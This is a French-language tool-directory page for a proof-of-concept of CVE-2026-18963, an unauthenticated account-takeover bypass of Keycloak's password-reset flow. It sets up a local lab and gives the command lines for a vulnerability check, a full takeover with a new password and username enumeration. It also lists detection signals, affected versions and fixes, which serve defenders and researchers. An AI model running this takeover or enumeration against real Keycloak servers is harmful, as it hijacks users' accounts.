Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/prot0tw/keycloak_cve-2026-18963_poc
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionAuthentificationLabs et Pratique
GitHubprot0tw/keycloak_cve-2026-18963_poc

Keycloak_CVE-2026-18963_PoC

Ce dépôt est une preuve de concept (PoC) pour CVE-2026-18963. Veuillez l'utiliser uniquement sur des produits légaux (laboratoire, environnement local, etc.).

Voir le dépôt
12il y a 2 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-18963

Contournement de reset-credentials Keycloak → prise de contrôle de compte non authentifiée CVSS 9.1 | Versions concernées : Keycloak 26.0.0 – 26.7.1

Ce laboratoire est reconstruit à partir du README original de snizi/cve-2026-18963-exploit.


Structure

root@kitploit:~
CVE-2026-18963/
├── cve_2026_18963_poc.py   <- Script PoC (Python 3.9+, bibliothèque standard uniquement)
├── README.md
├── docker-compose.yml      <- Environnement de laboratoire
└── realm-poc.json          <- Configuration du realm Keycloak (import automatique)

Prérequis

  • Docker + Docker Compose
  • Python 3.9+ (bibliothèque standard uniquement, rien à installer)
  • Linux

Étape 1 : Démarrer le laboratoire

root@kitploit:~
docker compose up -d

Ou exécuter Keycloak directement, sans l'import du realm :

root@kitploit:~
docker run -p 127.0.0.1:8080:8080 \
  -e KC_BOOTSTRAP_ADMIN_USERNAME=admin \
  -e KC_BOOTSTRAP_ADMIN_PASSWORD=admin \
  quay.io/keycloak/keycloak:26.7.1 start-dev

Attendre environ 30 à 60 secondes que Keycloak termine son démarrage.

Services

ServiceURLVersionStatut
kc-vulnhttp://localhost:808026.7.1VULNÉRABLE ⚠️
Mailpithttp://localhost:8025latestCapture les e-mails

Identifiants par défaut

  • Admin Keycloak : admin / admin
  • Utilisateur victime : victim / OriginalPassw0rd!
  • Realm : poc | Client : poc-app
  • Vérifier la configuration : Realm settings → onglet Login → Forgot password est activé.
  • Si le realm poc ou l'utilisateur victim est manquant, l'importer manuellement : Manage realms → Create realm → Upload realm-poc.json.

Étape 2 : Exécuter le PoC

Vérification sûre (aucun nom d'utilisateur requis, aucun effet secondaire)

root@kitploit:~
python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --safe-check

Résultat attendu sur kc-vuln : [!] VULNERABLE — email gate execution served


Preuve non destructive (s'arrête au formulaire Update Password)

root@kitploit:~
python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --victim victim --check

Effets secondaires : un e-mail de réinitialisation est envoyé à la victime (consultable sur http://localhost:8025), et emailVerified est défini sur true.


Prise de contrôle complète

root@kitploit:~
python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --victim victim \
  --new-password 'PoCPassw0rd!1'

Ensuite, vérifier en vous connectant sur http://localhost:8080/realms/poc/account avec victim / PoCPassw0rd!1.


Énumération des noms d'utilisateur

root@kitploit:~
printf 'victim\nadmin\nnobody\n' > userlist.txt

python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --enum userlist.txt

Étape 3 : Réinitialiser la victime à son état initial

Le realm n'est importé qu'au premier démarrage, donc la réinitialisation la plus simple consiste à recréer l'environnement de zéro :

root@kitploit:~
docker compose down -v && docker compose up -d

Alternativement, réinitialiser le mot de passe manuellement dans la console d'administration (http://localhost:8080/admin) : Users → victim → Credentials → Reset password → OriginalPassw0rd!.


Nettoyage

root@kitploit:~
docker compose down -v

Signaux de détection

SignalLégitimeExploit
GET /login-actions/action-token?...✅ Oui❌ Non
POST .../reset-credentials avec le corps tryAnotherWay=yes❌ Non✅ Oui
SEND_RESET_PASSWORD → UPDATE_PASSWORD avec le même code_id < 2 sRare✅ Toujours
emailVerified passe à true sans événement VERIFY_EMAIL❌✅ Toujours

Dans Mailpit (http://localhost:8025), l'e-mail de réinitialisation de mot de passe arrive dans la boîte mail de la victime, mais le lien qu'il contient n'est jamais cliqué lorsque l'exploit réussit.


Versions concernées

Ligne de versionConcernéeCorrectif
≤ 17 (WildFly)Non—
26.0 – 26.326.0.0 – 26.x.xAucun (passer à 26.7.2)
26.426.4.0 – 26.4.1426.4.15 (backport éditeur)
26.526.5.0 – 26.5.7Aucun
26.626.6.0 – 26.6.526.6.6 (backport éditeur)
26.726.7.0 – 26.7.126.7.2 ✅

Les versions antérieures à 26.0 ne sont pas concernées : la note persistante AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED et l'écran de sélection « Try another way » dans le flux de réinitialisation ont été introduits en 26.0.0. Les anciennes versions ne disposent tout simplement pas du chemin de code vulnérable — ce qui n'est pas la même chose qu'être corrigé.


Références

  • Sploitus (README original) : https://sploitus.com/exploit?id=A76D2FC5-1440-568B-81C2-B0213465485E
  • Problème Keycloak : https://github.com/keycloak/keycloak/issues/51833
  • PR de correctif : https://github.com/keycloak/keycloak/pull/51844
  • GHSA : GHSA-4gv3-mc9p-5wqc
  • Red Hat : https://access.redhat.com/security/cve/cve-2026-18963
Télécharger l’outil